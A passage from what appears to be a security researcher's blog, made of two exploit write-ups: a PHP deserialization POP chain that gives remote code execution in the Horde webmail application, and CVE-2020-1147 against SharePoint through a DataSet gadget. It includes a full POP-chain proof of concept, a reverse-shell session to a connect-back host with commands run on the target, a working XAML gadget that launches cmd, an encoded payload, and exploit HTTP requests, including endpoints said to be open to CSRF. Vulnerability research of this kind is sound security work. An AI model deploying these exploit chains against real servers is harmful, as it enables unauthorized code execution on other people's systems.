class Horde_Core_Ajax_Application_Handler_Prefs extends Horde_Core_Ajax_Application_Handler
{
    /**
     * Sets a preference value.
     *
     * Variables used:
     *   - pref: (string) The preference name.
     *   - value: (mixed) The preference value.
     *
     * @return boolean  True on success.
     */
    public function setPrefValue()
    {
        return $GLOBALS['prefs']->setValue(
            $this->vars->pref,
            $this->vars->value
        );
    }

}

Therefore, in order for us to set the sortpref preference for the imp application, we can use the following request:

GET /horde/services/ajax.php/imp/setPrefValue?pref=sortpref&value=junk&token=<csrftoken> HTTP/1.1
Host: <target>
Cookie: Horde=<sessionid>

Which returns the following response on success:

HTTP/1.1 200 OK
...
Content-Length: 29
Content-Type: application/json

/*-secure-{"response":true}*/

After using the Horde_Core_Ajax_Application_Handler_Prefs ajax handler, we can view the preference in the database:

MariaDB [horde]> select pref_value from horde_prefs where pref_uid='hordeuser' and pref_name='sortpref';
+------------+
| pref_value |
+------------+
| junk       |
+------------+
1 row in set (0.00 sec)

Object Instantiation:

Lucky for us, it’s also possible to reach the constructor of the IMP_Prefs_Sort class because I found an ajax handler called imple that will allow me to instantiate a class. The limitation here is that I can only instantiate a class with an empty constructor. The imple method is defined inside of the /usr/share/php/Horde/Core/Ajax/Application/Handler/Imple.php script:

class Horde_Core_Ajax_Application_Handler_Imple extends Horde_Core_Ajax_Application_Handler
{
    /**
     * AJAX action: Run imple.
     *
     * Parameters needed:
     *   - app: (string) Imple application.
     *   - imple: (string) Class name of imple.
     */
    public function imple()
    {
        global $injector, $registry;

        $pushed = $registry->pushApp($this->vars->app);
        $imple = $injector->getInstance('Horde_Core_Factory_Imple')->create($this->vars->imple, array(), true);       // 1

        $result = $imple->handle($this->vars);

        if ($pushed) {
            $registry->popApp();
        }

        return $result;
    }

}

The code calls create using the attacker controlled $this->vars->imple which becomes the driver for a new class. Inside of the /usr/share/php/Horde/Core/Factory/Imple.php script we can see the definition of Horde_Core_Factory_Imple that reveals the instantiation:

class Horde_Core_Factory_Imple extends Horde_Core_Factory_Base
{
    /**
     * Attempts to return a concrete Imple instance.
     *
     * @param string $driver     The driver name.
     * @param array $params      A hash containing any additional
     *                           configuration or parameters a subclass might
     *                           need.
     * @param boolean $noattach  Don't attach on creation.
     *
     * @return Horde_Core_Ajax_Imple  The newly created instance.
     * @throws Horde_Exception
     */
    public function create($driver, array $params = array(),
                           $noattach = false)
    {
        $class = $this->_getDriverName($driver, 'Horde_Core_Ajax_Imple');        // 2

        $ob = new $class($params);                                               // 4
    protected function _getDriverName($driver, $base)
    {
        /* Intelligent loading... if we see at least one separator character
         * in the driver name, guess that this is a full classname so try that
         * option first. */
        $search = (strpbrk($driver, '\\_') === false)
            ? array('driver', 'class')
            : array('class', 'driver');

        foreach ($search as $val) {
            switch ($val) {
            case 'class':
                if (class_exists($driver)) {
                    return $driver                                                // 3

Inside of the Horde_Core_Factory_Base class, the _getDriverName method is implemented and at [3] this method returns the attacker supplied $driver variable if it’s a valid class (it can be any class in scope). Finally at [4] object instantiation is triggered using the empty constructor (since $params is empty).

The trigger for the object instantiation and thus, the deserialization of untrusted data is:

GET /horde/services/ajax.php/imp/imple?imple=IMP_Prefs_Sort&app=imp&token=<csrftoken> HTTP/1.1
Host: <target>
Cookie: Horde=<sessionid>

The POP Chain

The final piece to the puzzle, is a serialized PHP object chain that will execute arbitrary remote code. My initial proof of concept used the Horde_Auth_Passwd class to rename a file on the local filesystem for remote code execution. However there were several limitations to this technique such as needing to upload a file onto the target system (to rename) and knowledge of the webroot path.

In the end I decided to use the Horde_Kolab_Server_Decorator_Clean class. This the same POP chain as used in CVE-2014-1691 by EgiX but I had to make several changes due to the way php 7+ uses Serializable interfaces and the changes that occured to the classes over 5+ years.

One of the major changes to the chain was that the Horde_Prefs_Scope class implements Serializable. This could be compared to Java’s Externalizable interface, whereby it allows a programmer to serialize only certain properties. Lucky for us, the properties that we are (ab)using are serialized! Let’s break down this monster of a chain.

class Horde_Kolab_Server_Decorator_Clean {

    public function delete($guid)
    {
        $this->_server->delete($guid);                                     // 3
        if (in_array($guid, $this->_added)) {
            $this->_added = array_diff($this->_added, array($guid));
        }
    }

    public function cleanup()
    {
        foreach ($this->_added as $guid) {
            $this->delete($guid);                                          // 2
        }
    }

    /**
     * Destructor.
     */
    public function __destruct()
    {
        try {
            $this->cleanup();                                              // 1
        } catch (Horde_Kolab_Server_Exception $e) {
        }
    }

}

The __destruct method calls cleanup at [1], which calls delete at [2] and then $this->_server->delete is called at [3].

class Horde_Prefs_Identity {

    public function save()
    {
        $this->_prefs->setValue($this->_prefnames['identities'], serialize($this->_identities));   // 6
        $this->_prefs->setValue($this->_prefnames['default_identity'], $this->_default);
    }

    public function delete($identity)
    {
        $deleted = array_splice($this->_identities, $identity, 1);

        if (!empty($deleted)) {                                                                    // 4
            foreach (array_keys($this->_identities) as $id) {
                if ($this->setDefault($id)) {
                    break;
                }
            }
            $this->save();                                                                         // 5
        }

        return reset($deleted);
    }
}

We can set the $this->_server property to Horde_Prefs_Identity to reach its delete method. The call to array_splice needs to return a value so that at [4] we can reach the save call at [5]. To achieve this, I just set the $this->_identities property on the Horde_Prefs_Identity class. Once save is called, we can reach [6] which is a call to setValue on a property.

class Horde_Prefs implements ArrayAccess
{
    /* The default scope name. */
    const DEFAULT_SCOPE = 'horde';

    public function setValue($pref, $val, array $opts = array())
    {
        /* Exit early if preference doesn't exist or is locked. */
        if (!($scope = $this->_getScope($pref)) ||                                // 7
            (empty($opts['force']) &&
             $this->_scopes[$scope]->isLocked($pref))) {
            return false;
        }

        // Check to see if the value exceeds the allowable storage limit.
        if ($this->_opts['sizecallback'] &&
            call_user_func($this->_opts['sizecallback'], $pref, strlen($val))) {  // 9
            return false;
        }
        ...
    }

    protected function _getScope($pref)
    {
        $this->_loadScope($this->_scope);

        if ($this->_scopes[$this->_scope]->exists($pref)) {
            return $this->_scope;
        } elseif ($this->_scope != self::DEFAULT_SCOPE) {
            $this->_loadScope(self::DEFAULT_SCOPE);
            if ($this->_scopes[self::DEFAULT_SCOPE]->exists($pref)) {
                return self::DEFAULT_SCOPE;                                       // 8
            }
        }

        return null;
    }

    protected function _loadScope($scope)
    {
        // Return if we've already loaded these prefs.
        if (!empty($this->_scopes[$scope])) {
            return;
        }
        ...
    }
}

At [7] setValue will call _getScope which will return the default scope at [8]. Once that check is passed, we can reach the call_user_func method at [9] with an attacker controlled _opts['sizecallback']. Leveraging this, we can target the readXMLConfig method of the Horde_Config class for an unprotected eval() at [10].

class Horde_Config
{

    public function readXMLConfig($custom_conf = null)
    {
        if (!is_null($this->_xmlConfigTree) && !$custom_conf) {
            return $this->_xmlConfigTree;
        }

        $path = $GLOBALS['registry']->get('fileroot', $this->_app) . '/config';

        if ($custom_conf) {
            $this->_currentConfig = $custom_conf;
        } else {
            /* Fetch the current conf.php contents. */
            @eval($this->getPHPConfig());                                             // 10
            if (isset($conf)) {
                $this->_currentConfig = $conf;
            }
        }
        ...
    }

    public function getPHPConfig()
    {
        if (!is_null($this->_oldConfig)) {
            return $this->_oldConfig;
        }
        ...
    }
    ...
}

It was not lost on me, that we are (ab)using the Horde_Prefs class for the deserialization chain either!

Proof of Concept

Here is the completed POP chain I used:

<?php

class Horde_Config
{
   protected $_oldConfig = "phpinfo();die;";
}

class Horde_Prefs_Scope implements Serializable
{
    protected $_prefs = array(1);
    protected $scope;

    public function serialize()
    {
        return json_encode(array(
            $this->scope,
            $this->_prefs
        ));
    }

    public function unserialize($data)
    {
        list($this->scope, $this->_prefs) = json_decode($data, true);
    }
}

class Horde_Prefs
{
   protected $_opts, $_scopes;

   function __construct()
   {
      $this->_opts['sizecallback'] = array(new Horde_Config, 'readXMLConfig');
      $this->_scopes['horde'] = new Horde_Prefs_Scope;
   }
}

class Horde_Prefs_Identity
{

   protected $_prefs, $_prefnames, $_identities;
   function __construct()
   {
      $this->_identities = array(0);
      $this->_prefs = new Horde_Prefs;
      $this->_prefnames['identities'] = 0;
   }
}

class Horde_Kolab_Server_Decorator_Clean
{
   private $_server, $_added;
   function __construct()
   {
      $this->_added = array(0);
      $this->_server = new Horde_Prefs_Identity;
   }
}

$popchain = serialize(new Horde_Kolab_Server_Decorator_Clean);
echo $popchain;

…and finally icing on the cake:

saturn:~ mr_me$ ./poc.py 
(+) usage ./poc.py <target> <path> <user:pass> <connectback:port>
(+) eg: ./poc.py 172.16.175.148 /horde/ hordeuser:pass123 172.16.175.1:1337

saturn:~ mr_me$ ./poc.py 172.16.175.148 /horde/ hordeuser:pass123 172.16.175.1:1337
(+) targeting http://172.16.175.145/horde/
(+) obtained session iefankvohbl8og0mtaadm3efb6
(+) inserted our php object
(+) triggering deserialization...
(+) starting handler on port 1337
(+) connection from 172.16.175.145
(+) pop thy shell!
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
pwd
/var/www/horde/services
uname -a
Linux target 4.9.0-11-amd64 #1 SMP Debian 4.9.189-3+deb9u1 (2019-09-20) x86_64 GNU/Linux
exit
*** Connection closed by remote host ***
(+) repaired the target!

You can download the complete exploit here.

Conclusions

Complex applications need both a white-box review and a black-box review to provide complete context to an auditor. Knowledge if the underlying framework and code is nice, but it can be very difficult to find the code path to a bug if context and understanding is not achieved. Continuing to discover and develop black-box finger printing techniques is very important for subtle and high impact vulnerability classes.

References

SharePoint and Pwn :: Remote Code Execution Against SharePoint Server Abusing DataSet

20 July 2020 at 14:00

SharePoint

When CVE-2020-1147 was released last week I was curious as to how this vulnerability manifested and how an attacker might achieve remote code execution with it. Since I’m somewhat familiar with SharePoint Server and .net, I decided to take a look.

TL;DR; I share the breakdown of CVE-2020-1147 which was discovered independently by Oleksandr Mirosh, Markus Wulftange and Jonathan Birch. I share the details on how it can be leveraged against a SharePoint Server instance to gain remote code execution as a low privileged user. Please note: I am not providing a full exploit, so if that’s your jam, move along.

One of the things that stood out to me, was that Microsoft published Security Guidence related to this bug, quoting Microsoft:

If the incoming XML data contains an object whose type is not in this list… An exception is thrown. The deserialization operation fails. When loading XML into an existing DataSet or DataTable instance, the existing column definitions are also taken into account. If the table already contains a column definition of a custom type, that type is temporarily added to the allow list for the duration of the XML deserialization operation.

Interestingly, it was possible to specify types and it was possible to overwrite column definitions. That was the key giveaway for me, let’s take a look at how the DataSet object is created:

Understanding the DataSet Object

A DataSet contains a Datatable with DataColumn(s) and DataRow(s). More importantly, it implements the ISerializable interface meaning that it can be serialized with XmlSerializer. Let’s start by creating a DataTable:

        static void Main(string[] args)
        {
            // instantiate the table
            DataTable exptable = new DataTable("exp table");
			
            // make a column and set type information and append to the table
            DataColumn dc = new DataColumn("ObjectDataProviderCol");
            dc.DataType = typeof(ObjectDataProvider);
            exptable.Columns.Add(dc);
			
            // make a row and set an object instance and append to the table
            DataRow row = exptable.NewRow();
            row["ObjectDataProviderCol"] = new ObjectDataProvider();
            exptable.Rows.Add(row);
			
            // dump the xml schema
            exptable.WriteXmlSchema("c:/poc-schema.xml");
        }		

Using the WriteXmlSchema method, It’s possible to write out the schema definition. That code produces the following:

<?xml version="1.0" standalone="yes"?>
<xs:schema id="NewDataSet" xmlns="" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
  <xs:element name="NewDataSet" msdata:IsDataSet="true" msdata:MainDataTable="exp_x0020_table" msdata:UseCurrentLocale="true">
    <xs:complexType>
      <xs:choice minOccurs="0" maxOccurs="unbounded">
        <xs:element name="exp_x0020_table">
          <xs:complexType>
            <xs:sequence>
              <xs:element name="ObjectDataProviderCol" msdata:DataType="System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" type="xs:anyType" minOccurs="0" />
            </xs:sequence>
          </xs:complexType>
        </xs:element>
      </xs:choice>
    </xs:complexType>
  </xs:element>
</xs:schema>

Looking into the code of DataSet it’s revealed that it exposes its own serialization methods (wrapped over XmlSerializer) using WriteXml and ReadXML:

System.Data.DataSet.ReadXml(XmlReader reader, Boolean denyResolving)
  System.Data.DataSet.ReadXmlDiffgram(XmlReader reader)
    System.Data.XmlDataLoader.LoadData(XmlReader reader)
      System.Data.XmlDataLoader.LoadTable(DataTable table, Boolean isNested)
        System.Data.XmlDataLoader.LoadColumn(DataColumn column, Object[] foundColumns)
          System.Data.DataColumn.ConvertXmlToObject(XmlReader xmlReader, XmlRootAttribute xmlAttrib)
            System.Data.Common.ObjectStorage.ConvertXmlToObject(XmlReader xmlReader, XmlRootAttribute xmlAttrib)
              System.Xml.Serialization.XmlSerializer.Deserialize(XmlReader xmlReader)

Now, all that’s left to do is add the table to a dataset and serialize it up:

            DataSet ds = new DataSet("poc");
            ds.Tables.Add(exptable);
            using (var writer = new StringWriter())
            {
                ds.WriteXml(writer);
                Console.WriteLine(writer.ToString());
            }

These serialization methods retain schema types and reconstruct attacker influenced types at runtime using a single DataSet expected type in the instantiated XmlSerializer object graph.

The DataSet Gadget

Below is an example of such a gadget that can be crafted, note that this is not to be confused with the DataSet gadgets in ysoserial:

<DataSet>
  <xs:schema xmlns="" xmlns:xs="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" id="somedataset">
    <xs:element name="somedataset" msdata:IsDataSet="true" msdata:UseCurrentLocale="true">
      <xs:complexType>
        <xs:choice minOccurs="0" maxOccurs="unbounded">
          <xs:element name="Exp_x0020_Table">
            <xs:complexType>
              <xs:sequence>
                <xs:element name="pwn" msdata:DataType="System.Data.Services.Internal.ExpandedWrapper`2[[System.Windows.Markup.XamlReader, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35],[System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35]], System.Data.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" type="xs:anyType" minOccurs="0"/>
              </xs:sequence>
            </xs:complexType>
          </xs:element>
        </xs:choice>
      </xs:complexType>
    </xs:element>
  </xs:schema>
  <diffgr:diffgram xmlns:msdata="urn:schemas-microsoft-com:xml-msdata" xmlns:diffgr="urn:schemas-microsoft-com:xml-diffgram-v1">
    <somedataset>
      <Exp_x0020_Table diffgr:id="Exp Table1" msdata:rowOrder="0" diffgr:hasChanges="inserted">
        <pwn xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
          <ExpandedElement/>
          <ProjectedProperty0>
            <MethodName>Parse</MethodName>
            <MethodParameters>
              <anyType xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xsi:type="xsd:string"><![CDATA[<ResourceDictionary xmlns="http://schemas.microsoft.com/winfx/2006/xaml/presentation" xmlns:x="http://schemas.microsoft.com/winfx/2006/xaml" xmlns:System="clr-namespace:System;assembly=mscorlib" xmlns:Diag="clr-namespace:System.Diagnostics;assembly=system"><ObjectDataProvider x:Key="LaunchCmd" ObjectType="{x:Type Diag:Process}" MethodName="Start"><ObjectDataProvider.MethodParameters><System:String>cmd</System:String><System:String>/c mspaint </System:String></ObjectDataProvider.MethodParameters></ObjectDataProvider></ResourceDictionary>]]></anyType>
            </MethodParameters>
            <ObjectInstance xsi:type="XamlReader"/>
          </ProjectedProperty0>
        </pwn>
      </Exp_x0020_Table>
    </somedataset>
  </diffgr:diffgram>
</DataSet>

This gadget chain will call an arbitrary static method on a Type which contains no interface members. Here I used the notorious XamlReader.Parse to load malicious Xaml to execute a system command. I used the ExpandedWrapper class to load two different types as mentioned by @pwntester’s amazing research.

It can be leveraged in a number of sinks, such as:

XmlSerializer ser = new XmlSerializer(typeof(DataSet));
Stream reader = new FileStream("c:/poc.xml", FileMode.Open);
ser.Deserialize(reader);		

Many applications consider DataSet to be safe, so even if the expected type can’t be controlled directly to XmlSerializer, DataSet is typically used in the object graph. However, the most interesting sink is the DataSet.ReadXml to trigger code execution:

DataSet ds = new DataSet();
ds.ReadXml("c:/poc.xml");		

Applying the Gadget to SharePoint Server

If we take a look at ZDI-20-874, the advisory mentions the Microsoft.PerformancePoint.Scorecards.Client.ExcelDataSet control which can be leveraged for remote code execution. This immediately plagued my interest since it had the name (DataSet) in its class name. Let’s take a look at SharePoint’s default web.config file:

      <controls>
        <add tagPrefix="asp" namespace="System.Web.UI" assembly="System.Web.Extensions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" />
        <add tagPrefix="SharePoint" namespace="Microsoft.SharePoint.WebControls" assembly="Microsoft.SharePoint, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" />
        <add tagPrefix="WebPartPages" namespace="Microsoft.SharePoint.WebPartPages" assembly="Microsoft.SharePoint, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" />
        <add tagPrefix="PWA" namespace="Microsoft.Office.Project.PWA.CommonControls" assembly="Microsoft.Office.Project.Server.PWA, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" />
        <add tagPrefix="spsswc" namespace="Microsoft.Office.Server.Search.WebControls" assembly="Microsoft.Office.Server.Search, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" />
      </controls>

Under the controls tag, we can see that a prefix doesn’t exist for the Microsoft.PerformancePoint.Scorecards namespace. However, if we check the SafeControl tags, it is indeed listed with all types from that namespace permitted.

<configuration>
  <configSections>
  <SharePoint>
    <SafeControls>
      <SafeControl Assembly="Microsoft.PerformancePoint.Scorecards.Client, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c" Namespace="Microsoft.PerformancePoint.Scorecards" TypeName="*" />
	  ...

Now that we know we can instantiate classes from that namespace, let’s dive into the code to inspect the ExcelDataSet type:

namespace Microsoft.PerformancePoint.Scorecards
{

	[Serializable]
	public class ExcelDataSet
	{

The first thing I noticed is that it’s serializable, so I know that it can infact be instantiated as a control and the default constructor will be called along with any public setters that are not marked with the System.Xml.Serialization.XmlIgnoreAttribute attribute. SharePoint uses XmlSerializer for creating objects from controls so anywhere in the code where attacker supplied data can flow into TemplateControl.ParseControl, the ExcelDataSet type can be leveraged.

One of the properties that stood out was the DataTable property since it contains a public setter and uses the type System.Data.DataTable. However, on closer inspection, we can see that the XmlIgnore attribute is being used, so we can’t trigger the deserialization using this setter.

[XmlIgnore]
public DataTable DataTable
{
	get
	{
		if (this.dataTable == null && this.compressedDataTable != null)
		{
			this.dataTable = (Helper.GetObjectFromCompressedBase64String(this.compressedDataTable, ExcelDataSet.ExpectedSerializationTypes) as DataTable);
			if (this.dataTable == null)
			{
				this.compressedDataTable = null;
			}
		}
		return this.dataTable;
	}
	set
	{
		this.dataTable = value;
		this.compressedDataTable = null;
	}
}

The above code does reveal the partial answer though, the getter calls GetObjectFromCompressedBase64String using the compressedDataTable property. This method will decode the supplied base64, decompress the binary formatter payload and call BinaryFormatter.Deserialize with it. However, the code contains expected types for the deserialization, one of which is DataTable, So we can’t just stuff a generated TypeConfuseDelegate here.

		private static readonly Type[] ExpectedSerializationTypes = new Type[]
		{
			typeof(DataTable),
			typeof(Version)
		};

Inspecting the CompressedDataTable property, we can see that we have no issues setting the compressedDataTable member since it’s using System.Xml.Serialization.XmlElementAttribute attribute.

[XmlElement]
public string CompressedDataTable
{
	get
	{
		if (this.compressedDataTable == null && this.dataTable != null)
		{
			this.compressedDataTable = Helper.GetCompressedBase64StringFromObject(this.dataTable);
		}
		return this.compressedDataTable;
	}
	set
	{
		this.compressedDataTable = value;
		this.dataTable = null;
	}
}

Putting it (almost all) together, I could register a prefix and instantiate the control with a base64 encoded, compressed and serialized, albeit, dangerous DataTable:

PUT /poc.aspx HTTP/1.1
Host: <target>
Authorization: <ntlm auth header>
Content-Length: 1688

<%@ Register TagPrefix="escape" Namespace="Microsoft.PerformancePoint.Scorecards" Assembly="Microsoft.PerformancePoint.Scorecards.Client, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c"%>
<escape:ExcelDataSet runat="server" CompressedDataTable="H4sIAAAAAAAEALVWW2/bNhROegmadtvbHvYm6KFPtmTHSdoqlgs06YZgcRPE2RqgKDKaOrbZSKRGUraMYv9o+43doUTZju2mabHJgESfOw+/80kbmxsbG5/wMk9zfXcPb296U6Uh8Y6IJjXnd5CKCR7ueg3zqzmHWawzCSGHTEsS15yzrB8z+itML8Q18LD/7BnZo3v7zRetXWg8f/HQBP9xIWZxuyD9GO6j5qfZP+8cEqEZH9qU25dJ3KMjSMgTXB2xweAXSZL7m5s/2GDWztS8bUJtPcDb34/aL/Mkdsa2brfpNVwHOBURhg7dTA/qzX33Zef7x+1cBapI4KAHV6Hrlosgx/VI6zTw/clk4k1anpBDf6fRaPqX3ZOyqMo2URHuAANLbqOpesKoFEoMdJ2KJEC7emnlYlbHMXkhhgS4djhJIHRf5+lV3mjsNK6KTpRmpSEGSGPIL6YpWGkpV/BnhruaC9fFTSfcdcrUQdFnjBK6i2fRAzlmFJR3zDVITmIPayE8guitJGkK8o+dd++sw1vGIzFRXpfI6yz1LkkSnwOJQCIGJChMSzS2/Gc8JZgIef0N4Gk1+4PW8719ErX2d6G19762nLyo+rT/Aag2yzMpxuz/LeF9zVnXsf9gNFxHFweC50b41BzO7LQ0kUPQb3AbKiUUDDQTxk8pzSRiExHtz9Hgr8KhkC1DpxBagHwGiEokYPIr0LNSjpXZdw906GqZzUvsEsZnw7uK4crsNwWHmZSY40RQYiyLKHeAOB0JbPTSvhOSV/8y3heZgeq8G3fZd9mvYlI7Ww+RMv553I6QXYYyKB8k+ZbRtj5liC/5VInq46blhIXOV3tZ6qhji2RR0WynEDZnfZZicipxEoouWdMRUYcjwoeA3WJcgdTYrHmPkR5mhMe+zHh1DKEJgmxOk9EdeHKRoSpyeW1R5y8qcZbNWEOEC2QePW0saFFfTv2xLcLBmoNyfuZM5N6IiD5d0CMRmTnqnBGpoO0vSNZYohFqkArVDS3q7YQupMXtB0pLfK24naexPjgHJTJJ4YhRQ0JETqv3iu2RxYM3w4OHePAnjA9y07R9P8eN+OkCkc06/XUxKreSt0KXxrLOKy6x0gOiFCT9eBomigoZs37ldcTIcL2PZ1RcKM2omvurQuc+HeoD04ZVcnbyADkwdE9IxunoMMGBLY3K99HHPCg6a4IH6IPkqv5ynflB4SsL+VDfksFbPr3KtKw76BXHZIQ0iYzcX1Gstfapg5xFnc+7+F9RzBrbmWoVPEbV9i3sbmLVvwWsbf+WOWr7OPMzrlwiGEuWN5mo7S9xY+eB+dZa+gYzX15bV13yQUh8MG4erzIWR9tX5zBmxsR8Xz7C65791vxkryf/AlZRMe+GCgAA" />

However, I couldn’t figure out a way to trigger the DataTable property getter. I know I needed a way to use the DataSet, but I just didn’t know how too.

Many Paths Lead to Rome

The fustration! After going for a walk with my dog, I decided to think about this differently and I asked myself what other sinks are available. Then I remembered that the DataSet.ReadXml sink was also a source of trouble, so I checked the code again and found this valid code path:

Microsoft.SharePoint.Portal.WebControls.ContactLinksSuggestionsMicroView.GetDataSet()
  Microsoft.SharePoint.Portal.WebControls.ContactLinksSuggestionsMicroView.PopulateDataSetFromCache(DataSet)

Inside of the ContactLinksSuggestionsMicroView class we can see the GetDataSet method:

		protected override DataSet GetDataSet()
		{
			base.StopProcessingRequestIfNotNeeded();
			if (!this.Page.IsPostBack || this.Hidden)                                                                       // 1
			{
				return null;
			}
			DataSet dataSet = new DataSet();
			DataTable dataTable = dataSet.Tables.Add();
			dataTable.Columns.Add("PreferredName", typeof(string));
			dataTable.Columns.Add("Weight", typeof(double));
			dataTable.Columns.Add("UserID", typeof(string));
			dataTable.Columns.Add("Email", typeof(string));
			dataTable.Columns.Add("PageURL", typeof(string));
			dataTable.Columns.Add("PictureURL", typeof(string));
			dataTable.Columns.Add("Title", typeof(string));
			dataTable.Columns.Add("Department", typeof(string));
			dataTable.Columns.Add("SourceMask", typeof(int));
			if (this.IsInitialPostBack)                                                                                      // 2
			{
				this.PopulateDataSetFromSuggestions(dataSet);
			}
			else
			{
				this.PopulateDataSetFromCache(dataSet);                                                                  // 3
			}
			this.m_strJavascript.AppendLine("var user = new Object();");
			foreach (object obj in dataSet.Tables[0].Rows)
			{
				DataRow dataRow = (DataRow)obj;
				string scriptLiteralToEncode = (string)dataRow["UserID"];
				int num = (int)dataRow["SourceMask"];
				this.m_strJavascript.Append("user['");
				this.m_strJavascript.Append(SPHttpUtility.EcmaScriptStringLiteralEncode(scriptLiteralToEncode));
				this.m_strJavascript.Append("'] = ");
				this.m_strJavascript.Append(num.ToString(CultureInfo.CurrentCulture));
				this.m_strJavascript.AppendLine(";");
			}
			StringWriter stringWriter = new StringWriter(CultureInfo.CurrentCulture);
			dataSet.WriteXml(stringWriter);
			SPPageContentManager.RegisterHiddenField(this.Page, "__SUGGESTIONSCACHE__", stringWriter.ToString());
			return dataSet;
		}

At [1] the code checks that the request is a POST back request. To ensure this, an attacker can set the __viewstate POST variable, then at [2] the code will check that the __SUGGESTIONSCACHE__ POST variable is set, if it’s set, the IsInitialPostBack getter will return false. As long as this getter returns false, an attacker can land at [3], reaching PopulateDataSetFromCache. This call will use a DataSet that has been created with a specific schema definition.

		protected void PopulateDataSetFromCache(DataSet ds)
		{
			string value = SPRequestParameterUtility.GetValue<string>(this.Page.Request, "__SUGGESTIONSCACHE__", SPRequestParameterSource.Form);
			using (XmlTextReader xmlTextReader = new XmlTextReader(new StringReader(value)))
			{
				xmlTextReader.DtdProcessing = DtdProcessing.Prohibit;
				ds.ReadXml(xmlTextReader);                                                                              // 4
				ds.AcceptChanges();
			}
		}

Inside of PopulateDataSetFromCache, the code calls SPRequestParameterUtility.GetValue to get attacker controlled data from the __SUGGESTIONSCACHE__ request variable and parses it directly into ReadXml using XmlTextReader. The previously defined schema is overwritten with the attacker supplied schema inside of the supplied XML and deserialization of untrusted types occurs at [4], leading to remote code execution. To trigger this, I created a page that uses the ContactLinksSuggestionsMicroView type specifically:

PUT /poc.aspx HTTP/1.1
Host: <target>
Authorization: <ntlm auth header>
Content-Length: 252

<%@ Register TagPrefix="escape" Namespace="Microsoft.SharePoint.Portal.WebControls" Assembly="Microsoft.SharePoint.Portal, Version=15.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c"%>
<escape:ContactLinksSuggestionsMicroView runat="server" />

If you are exploiting this bug as a low privlidged user and the AddAndCustomizePages setting is disabled, then you can possibly exploit the bug with pages that instantiate the InputFormContactLinksSuggestionsMicroView control, since it extends from ContactLinksSuggestionsMicroView.

namespace Microsoft.SharePoint.Portal.WebControls
{

	[SharePointPermission(SecurityAction.Demand, ObjectModel = true)]
	[AspNetHostingPermission(SecurityAction.LinkDemand, Level = AspNetHostingPermissionLevel.Minimal)]
	[AspNetHostingPermission(SecurityAction.InheritanceDemand, Level = AspNetHostingPermissionLevel.Minimal)]
	[SharePointPermission(SecurityAction.InheritanceDemand, ObjectModel = true)]
	public class InputFormContactLinksSuggestionsMicroView : ContactLinksSuggestionsMicroView
	{

I found a few endpoints that implement that control (but I haven’t had time to test them) Update: Soroush Dalili tested them for me and confirmed that they are indeed, exploitable.

  1. /_layouts/15/quicklinks.aspx?Mode=Suggestion
  2. /_layouts/15/quicklinksdialogform.aspx?Mode=Suggestion

Now, to exploit it we can perform a post request to our freshly crafted page:

POST /poc.aspx HTTP/1.1
Host: <target>
Authorization: <ntlm auth header>
Content-Type: application/x-www-form-urlencoded
Content-Length: <length>

__viewstate=&__SUGGESTIONSCACHE__=<urlencoded DataSet gadget>

or

POST /quicklinks.aspx?Mode=Suggestion HTTP/1.1
Host: <target>
Authorization: <ntlm auth header>
Content-Type: application/x-www-form-urlencoded
Content-Length: <length>

__viewstate=&__SUGGESTIONSCACHE__=<urlencoded DataSet gadget>

or

POST /quicklinksdialogform.aspx?Mode=Suggestion HTTP/1.1
Host: <target>
Authorization: <ntlm auth header>
Content-Type: application/x-www-form-urlencoded
Content-Length: <length>

__viewstate=&__SUGGESTIONSCACHE__=<urlencoded DataSet gadget>

Note that each of these endpoints could also be csrfed, so credentials are not necessarily required.

One Last Thing

You cannot use the XamlReader.Load static method because the IIS webserver is impersonating as the IUSR account and that account has limited access to the registry. If you try, you will end up with a stack trace like this unless you disable impersonation under IIS and use the application pool identity:

{System.InvalidOperationException: There is an error in the XML document. ---> System.TypeInitializationException: The type initializer for 'MS.Utility.EventTrace' threw an exception. ---> System.Security.SecurityException: Requested registry access is not allowed.
   at System.ThrowHelper.ThrowSecurityException(ExceptionResource resource)
   at Microsoft.Win32.RegistryKey.OpenSubKey(String name, Boolean writable)
   at Microsoft.Win32.RegistryKey.OpenSubKey(String name)
   at Microsoft.Win32.Registry.GetValue(String keyName, String valueName, Object defaultValue)
   at MS.Utility.EventTrace.IsClassicETWRegistryEnabled()
   at MS.Utility.EventTrace..cctor()
   --- End of inner exception stack trace ---
   at MS.Utility.EventTrace.EasyTraceEvent(Keyword keywords, Event eventID, Object param1)
   at System.Windows.Markup.XamlReader.Load(XmlReader reader, ParserContext parserContext, XamlParseMode parseMode, Boolean useRestrictiveXamlReader, List`1 safeTypes)
   at System.Windows.Markup.XamlReader.Load(XmlReader reader, ParserContext parserContext, XamlParseMode parseMode, Boolean useRestrictiveXamlReader)
   at System.Windows.Markup.XamlReader.Load(XmlReader reader, ParserContext parserContext, XamlParseMode parseMode)
   at System.Windows.Markup.XamlReader.Load(XmlReader reader)
   at System.Windows.Markup.XamlReader.Parse(String xamlText)
   --- End of inner exception stack trace ---
   at System.Xml.Serialization.XmlSerializer.Deserialize(XmlReader xmlReader, String encodingStyle, XmlDeserializationEvents events)
